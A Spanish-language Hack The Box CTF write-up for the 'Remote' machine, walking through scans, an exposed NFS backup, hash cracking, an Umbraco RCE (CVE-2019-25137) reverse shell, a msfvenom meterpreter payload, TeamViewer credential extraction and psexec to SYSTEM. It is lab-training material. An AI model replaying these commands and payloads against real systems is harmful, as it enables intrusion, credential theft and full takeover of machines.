Hack The Box: Remote Writeup | Easy

Table of Contents

Hack The Box: Remote Writeup

Welcome to my detailed writeup of the easy difficulty machine “Remote” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1rustscan -a 10.129.230.172 --ulimit 5000 -g
210.129.230.172 -> [21,80,111,135,139,445,2049,5985,47001,49664,49665,49667,49666,49678,49679,49680]
 1nmap -p21,80,111,135,139,445,2049,5985,47001,49664,49665,49667,49666,49678,49679,49680 -sCV 10.129.230.172 -oN allPorts
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-29 14:53 CET
 3Nmap scan report for 10.129.230.172
 4Host is up (0.038s latency).
 5
 6PORT      STATE SERVICE       VERSION
 721/tcp    open  ftp           Microsoft ftpd
 8| ftp-syst:
 9|_  SYST: Windows_NT
10|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
1180/tcp    open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
12|_http-title: Home - Acme Widgets
13111/tcp   open  rpcbind       2-4 (RPC #100000)
14| rpcinfo:
15|   program version    port/proto  service
16|   100000  2,3,4        111/tcp   rpcbind
17|   100000  2,3,4        111/tcp6  rpcbind
18|   100000  2,3,4        111/udp   rpcbind
19|   100000  2,3,4        111/udp6  rpcbind
20|   100003  2,3         2049/udp   nfs
21|   100003  2,3         2049/udp6  nfs
22|   100003  2,3,4       2049/tcp   nfs
23|   100003  2,3,4       2049/tcp6  nfs
24|   100005  1,2,3       2049/tcp   mountd
25|   100005  1,2,3       2049/tcp6  mountd
26|   100005  1,2,3       2049/udp   mountd
27|   100005  1,2,3       2049/udp6  mountd
28|   100021  1,2,3,4     2049/tcp   nlockmgr
29|   100021  1,2,3,4     2049/tcp6  nlockmgr
30|   100021  1,2,3,4     2049/udp   nlockmgr
31|   100021  1,2,3,4     2049/udp6  nlockmgr
32|   100024  1           2049/tcp   status
33|   100024  1           2049/tcp6  status
34|   100024  1           2049/udp   status
35|_  100024  1           2049/udp6  status
36135/tcp   open  msrpc         Microsoft Windows RPC
37139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
38445/tcp   open  microsoft-ds?
392049/tcp  open  nlockmgr      1-4 (RPC #100021)
405985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
41|_http-title: Not Found
42|_http-server-header: Microsoft-HTTPAPI/2.0
4347001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
44|_http-server-header: Microsoft-HTTPAPI/2.0
45|_http-title: Not Found
4649664/tcp open  msrpc         Microsoft Windows RPC
4749665/tcp open  msrpc         Microsoft Windows RPC
4849666/tcp open  msrpc         Microsoft Windows RPC
4949667/tcp open  msrpc         Microsoft Windows RPC
5049678/tcp open  msrpc         Microsoft Windows RPC
5149679/tcp open  msrpc         Microsoft Windows RPC
5249680/tcp open  msrpc         Microsoft Windows RPC
53Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
54
55Host script results:
56| smb2-time:
57|   date: 2024-11-29T14:54:13
58|_  start_date: N/A
59| smb2-security-mode:
60|   3:1:1:
61|_    Message signing enabled but not required
62|_clock-skew: 1h00m01s
63
64Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
65Nmap done: 1 IP address (1 host up) scanned in 87.21 seconds

UDP Enumeration

 1sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.230.172 -oN allPorts.UDP
 2[sudo] password for kali:
 3Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-29 14:54 CET
 4Nmap scan report for 10.129.230.172
 5Host is up (0.039s latency).
 6Not shown: 1496 open|filtered udp ports (no-response)
 7PORT      STATE  SERVICE
 8111/udp   open   rpcbind
 92049/udp  open   nfs
1018582/udp closed unknown
1126171/udp closed unknown
12
13Nmap done: 1 IP address (1 host up) scanned in 1.18 seconds

FTP Enumeration

Vamos a empezar por los puertos mas bajos, y como según nmap se permite un inicio de sesión anónimo vamos a ver si encontramos algo interesante.

No encontramos nada..

 1ftp anonymous@10.129.230.172
 2Connected to 10.129.230.172.
 3220 Microsoft FTP Service
 4331 Anonymous access allowed, send identity (e-mail name) as password.
 5Password:
 6230 User logged in.
 7Remote system type is Windows_NT.
 8ftp> dir
 9229 Entering Extended Passive Mode (|||49685|)
10150 Opening ASCII mode data connection.
11226 Transfer complete.

HTTP Enumeration

Vamos a enumerar el servicio HTTP, whatweb no nos reporta nada interesante.

1whatweb http://10.129.230.172
2http://10.129.230.172 [200 OK] Country[RESERVED][ZZ], HTML5, IP[10.129.230.172], JQuery[3.1.0], Script, Title[Home - Acme Widgets], Umbraco, X-UA-Compatible[IE=edge]

Así se ve el sitio web. Write-up Image

Tenemos un recurso /people donde tenemos posibles nombres de usuario, vamos a crear una lista con algunas variaciones básicas. Write-up Image

 1cat -p users.txt
 2jan.skovgaard
 3j.skovgaard
 4jan.s
 5janskovgaard
 6matt.brailsford
 7matt.b
 8m.brailsford
 9mattbrailsford
10lee.kelleher
11lee.k
12l.kelleher
13leekelleher
14jeavon.leopold
15j.leopold
16jeavon.l
17jeavonleopold
18jeroen.breuer
19jeroen.b
20j.breuer
21jeroenbreuer

Después de navegar un poco, he visto que se menciona varias veces Umbraco, y en el apartado de contacto se nos reporta que debemos instalar Umbraco Forms. Write-up Image

Podemos ver que Umbraco es un CMS Write-up Image

También vemos que la versión 7.12.4 tiene una vulnerabilidad de tipo RCE pero necesitamos estar autenticados. Write-up Image

Desde el formulario que hemos encontrado antes, nos redirecciona al panel de inicio de sesión, obviamente no tengo credenciales. Write-up Image

SMB Enumeration

No encontramos nada por SMB ya que no se admiten las sesiones de invitados (null sessions)

1➜  content smbmap -H 10.129.230.172 -u '' --no-banner
2[*] Detected 1 hosts serving SMB
3[*] Established 0 SMB session(s)
4➜  content smbclient -L \\10.129.230.172 -U '' -N
5session setup failed: NT_STATUS_ACCESS_DENIED

Tampoco podemos enumerar el RPC ya que necesitamos credenciales también.

1sudo ./rpcenum -e All -i 10.129.230.172
2
3[!] Error: Access Denied

NFS Enumeration

Como hemos visto antes, en el escaneo UDP hemos visto que está el puerto 2049/UDP que suele corresponder a un servicio NFS, vamos a confirmar que se trata de NFS lo que está detrás de este puerto.

 1sudo nmap -p2049 -sU -sCV 10.129.230.172
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-29 15:06 CET
 3Nmap scan report for 10.129.230.172
 4Host is up (0.036s latency).
 5
 6PORT     STATE SERVICE VERSION
 72049/udp open  nfs     2-4 (RPC #100003)
 8
 9Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
10Nmap done: 1 IP address (1 host up) scanned in 10.63 seconds

Una vez confirmado, vamos a intentar montar este NFS en nuestra máquina de atacante y con suerte no necesitamos autenticación.

1➜  content sudo mkdir /mnt/montura
2➜  content sudo mount -t nfs 10.129.230.172:/ /mnt/montura -o nolock
3➜  content ls -la /mnt/montura
4total 4
5drwxrwxrwx 2 nobody nogroup   64 Nov 29  2024 .
6drwxr-xr-x 3 root   root    4096 Nov 29 15:07 ..
7drwx------ 2 nobody nogroup 4096 Feb 23  2020 site_backups

Una vez montado, vamos a enumerar que se encuentra en el NFS.

Information Disclosure + Hash Cracking

Encontré en este foro que existe un archivo llamado Umbraco.sdf que contiene una versión de la base de datos por lo cual quizás contenga credenciales de acceso.

Filtrando por el usuario admin ya que hay varios, vemos lo que parece un hash SHA-1 Write-up Image

Podemos intentar crackear este hash con john y lo conseguimos.

 1john -w=/usr/share/wordlists/rockyou.txt hash
 2Warning: detected hash type "Raw-SHA1", but the string is also recognized as "Raw-SHA1-AxCrypt"
 3Use the "--format=Raw-SHA1-AxCrypt" option to force loading these as that type instead
 4Warning: detected hash type "Raw-SHA1", but the string is also recognized as "Raw-SHA1-Linkedin"
 5Use the "--format=Raw-SHA1-Linkedin" option to force loading these as that type instead
 6Warning: detected hash type "Raw-SHA1", but the string is also recognized as "ripemd-160"
 7Use the "--format=ripemd-160" option to force loading these as that type instead
 8Warning: detected hash type "Raw-SHA1", but the string is also recognized as "has-160"
 9Use the "--format=has-160" option to force loading these as that type instead
10Using default input encoding: UTF-8
11Loaded 1 password hash (Raw-SHA1 [SHA1 128/128 AVX 4x])
12Warning: no OpenMP support for this hash type, consider --fork=4
13Press 'q' or Ctrl-C to abort, almost any other key for status
14baconandcheese   (?)
151g 0:00:00:00 DONE (2024-11-29 15:18) 1.041g/s 10233Kp/s 10233Kc/s 10233KC/s baconandchipies1..baconandcabbage
16Use the "--show --format=Raw-SHA1" options to display all of the cracked passwords reliably
17Session completed.

CVE-2019-25137 (Remote Command Execution)

Igualmente, no podía iniciar sesión, eso es porque el usuario es admin@htb.local y no admin

1admin@htb.local:baconandcheese

Write-up Image

Ahora sí que podemos iniciar sesión, antes de nada me interesa saber la versión del CMS para ver si podemos explotar el RCE que hemos visto que existe. Write-up Image

Y vemos que es la versión vulnerable. Write-up Image

Vamos a clonarnos este repositorio y vamos a probar si funciona.

Por alguna razón, al explotarlo no veía el output de los comandos, por lo cual vamos a modificar el PoC eliminando estas líneas. Write-up Image

Ahora si nos ponemos en escucha por el puerto 4444 con netcat

1rlwrap -cEr nc -lvnp 4444
2listening on [any] 4444 ...

Y lanzamos el exploit, tenemos una excepción pero es normal ya que intenta buscar una parte del código que hemos borrado.

 1python3 exploit.py -u admin@htb.local -p baconandcheese -w 'http://10.129.230.172' -i 10.10.14.87
 2[*] Logging in at http://10.129.230.172/umbraco/backoffice/UmbracoApi/Authentication/PostLogin
 3[*] Exploiting at http://10.129.230.172/umbraco/developer/Xslt/xsltVisualize.aspx
 4Traceback (most recent call last):
 5  File "/home/kali/Desktop/remote/content/Umbraco-RCE/exploit.py", line 91, in <module>
 6    main()
 7  File "/home/kali/Desktop/remote/content/Umbraco-RCE/exploit.py", line 69, in main
 8    initial.wait_for_connection()
 9    ^^^^^^^
10NameError: name 'initial' is not defined

Pero recibimos la conexión y conseguimos una consola en la máquina víctima.

1rlwrap -cEr nc -lvnp 4444
2listening on [any] 4444 ...
3connect to [10.10.14.87] from (UNKNOWN) [10.129.230.172] 49697
4Windows PowerShell
5Copyright (C) Microsoft Corporation. All rights reserved.
6whoami
7PS C:\windows\system32\inetsrv> whoami
8iis apppool\defaultapppool

Podemos leer la flag de usuario que se encuentra en C:\Users\Public\Desktop

1PS C:\USers\Public\Desktop> dir
2    Directory: C:\USers\Public\Desktop
3Mode                LastWriteTime         Length Name
4----                -------------         ------ ----
5-a----        2/20/2020   2:14 AM           1191 TeamViewer 7.lnk
6-ar---       11/29/2024   9:50 AM             34 user.txt
7type user.txt
8PS C:\USers\Public\Desktop> type user.txt
99b96ef964cb7e1c5...

Y también vemos un acceso directo a TeamViewer 7, no es común ver este programa instalado en CTF’s…

Privilege Escalation

Gather TeamViewer Passwords w/metasploit

Podemos ver que efectivamente, TeamViewer está instalado en el sistema.

 1PS C:\Program Files (x86)> dir
 2    Directory: C:\Program Files (x86)
 3Mode                LastWriteTime         Length Name
 4----                -------------         ------ ----
 5d-----        9/15/2018   3:28 AM                Common Files
 6d-----        9/15/2018   5:06 AM                Internet Explorer
 7d-----        2/23/2020   2:19 PM                Microsoft SQL Server
 8d-----        2/23/2020   2:15 PM                Microsoft.NET
 9d-----        2/19/2020   3:11 PM                MSBuild
10d-----        2/19/2020   3:11 PM                Reference Assemblies
11d-----        2/20/2020   2:14 AM                TeamViewer
12d-----        9/15/2018   5:05 AM                Windows Defender
13d-----        9/15/2018   3:19 AM                Windows Mail
14d-----       10/29/2018   6:39 PM                Windows Media Player
15d-----        9/15/2018   3:19 AM                Windows Multimedia Platform
16d-----        9/15/2018   3:28 AM                windows nt
17d-----       10/29/2018   6:39 PM                Windows Photo Viewer
18d-----        9/15/2018   3:19 AM                Windows Portable Devices
19d-----        9/15/2018   3:19 AM                WindowsPowerShell

Encontré que hay un módulo de metasploit donde es posible que en las versiones de TeamViewer 7+ es posible conseguir las credenciales guardadas en TeamViewer.

Así que primero vamos a conseguir una sesión de metasploit en la máquina víctima.

Vemos que la máquina víctima es de 64 bits.

 1PS C:\windows\system32\inetsrv> systeminfo
 2Host Name:                 REMOTE
 3OS Name:                   Microsoft Windows Server 2019 Standard
 4OS Version:                10.0.17763 N/A Build 17763
 5OS Manufacturer:           Microsoft Corporation
 6OS Configuration:          Standalone Server
 7OS Build Type:             Multiprocessor Free
 8Registered Owner:          Windows User
 9Registered Organization:
10Product ID:                00429-00521-62775-AA801
11Original Install Date:     2/19/2020, 3:03:29 PM
12System Boot Time:          11/29/2024, 9:49:38 AM
13System Manufacturer:       VMware, Inc.
14System Model:              VMware7,1
15System Type:               x64-based PC

Generamos la reverse shell con msfvenom

1msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.87 LPORT=443 -f exe > pwn.exe
2[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
3[-] No arch selected, selecting arch: x86 from the payload
4No encoder specified, outputting raw payload
5Payload size: 354 bytes
6Final size of exe file: 73802 bytes

Compartimos este ejecutable mediante SMB con impacket-smbserver

1sudo impacket-smbserver -smb2support smbFolder .
2Impacket v0.12.0.dev1+20240711.104209.512a1db5 - Copyright 2023 Fortra
3
4[*] Config file parsed
5[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
6[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
7[*] Config file parsed
8[*] Config file parsed
9[*] Config file parsed

En la máquina víctima, he creado el directorio C:\Windows\Temp\work y vamos a copiarlo aquí.

1PS C:\windows\temp\work> copy \\10.10.14.87\smbFolder\pwn.exe .
2dir
3PS C:\windows\temp\work> dir
4    Directory: C:\windows\temp\work
5Mode                LastWriteTime         Length Name
6----                -------------         ------ ----
7-a----       11/29/2024   9:33 AM           1148 manual_exploit.bat
8-a----       11/29/2024   9:39 AM          73802 pwn.exe

Preparamos msfconsole y nos ponemos en escucha por el puerto 443.

 1msf6 > use exploit/multi/handler
 2[*] Using configured payload generic/shell_reverse_tcp
 3msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
 4payload => windows/meterpreter/reverse_tcp
 5msf6 exploit(multi/handler) > set LHOST tun0
 6LHOST => tun0
 7msf6 exploit(multi/handler) > set LPORT 443
 8LPORT => 443
 9msf6 exploit(multi/handler) > run
10
11[*] Started reverse TCP handler on 10.10.14.87:443

Ahora en la máquina víctima simplemente ejecutamos nuestra reverse shell.

1PS C:\windows\temp\work> .\pwn.exe

Y en metasploit vemos que tenemos una nueva sesión abierta.

1[*] Meterpreter session 1 opened (10.10.14.87:443 -> 10.129.230.172:49713) at 2024-11-29 15:42:40 +0100

Ahora si ejecutamos el módulo post/windows/gather/credentials/teamviewer_passwords vemos que encontramos una credencial. !R3m0te!

No se para que usuario podría ser esta credencial, y al revisar los usuarios del sistema vemos que no existe ninguno.

1PS C:\windows\system32\inetsrv> net users
2User accounts for \\
3-------------------------------------------------------------------------------
4Administrator            DefaultAccount           Guest
5WDAGUtilityAccount

Con netexec podemos comprobar si esta es la contraseña del usuario administrador y vemos que si.

1nxc smb 10.129.230.172 -u administrator -p '!R3m0te!'
2SMB         10.129.230.172  445    REMOTE           [*] Windows 10 / Server 2019 Build 17763 x64 (name:REMOTE) (domain:remote) (signing:False) (SMBv1:False)
3SMB         10.129.230.172  445    REMOTE           [+] remote\administrator:!R3m0te! (Pwn3d!)

Y ya con psexec podemos conseguir una consola como nt authority\system con máximos privilegios.

 1psexec.py -target-ip 10.129.230.172 administrator:'!R3m0te!'@10.129.230.172
 2Impacket v0.12.0.dev1+20240711.104209.512a1db5 - Copyright 2023 Fortra
 3
 4[*] Requesting shares on 10.129.230.172.....
 5[*] Found writable share ADMIN$
 6[*] Uploading file wdIbFZtd.exe
 7[*] Opening SVCManager on 10.129.230.172.....
 8[*] Creating service gzMd on 10.129.230.172.....
 9[*] Starting service gzMd.....
10[!] Press help for extra shell commands
11Microsoft Windows [Version 10.0.17763.107]
12(c) 2018 Microsoft Corporation. All rights reserved.
13
14C:\Windows\system32> whoami
15nt authority\system

Podemos leer la flag de root

1c:\Users\Administrator\Desktop> type root.txt
20d5f3e3b6dd3bca...

¡Y ya estaría!

Happy Hacking! 🚀

#HackTheBox   #Remote   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Reverse Shell   #Privilege Escalation   #RCE   #Exploit   #Windows   #HTTP Enumeration   #NFS Enumeration   #Information Disclosure   #Exposed User Credentials   #Hash Cracking   #Cracking   #CVE-2019-25137   #TeamViewer 7 Passwords   #Credentials Reuse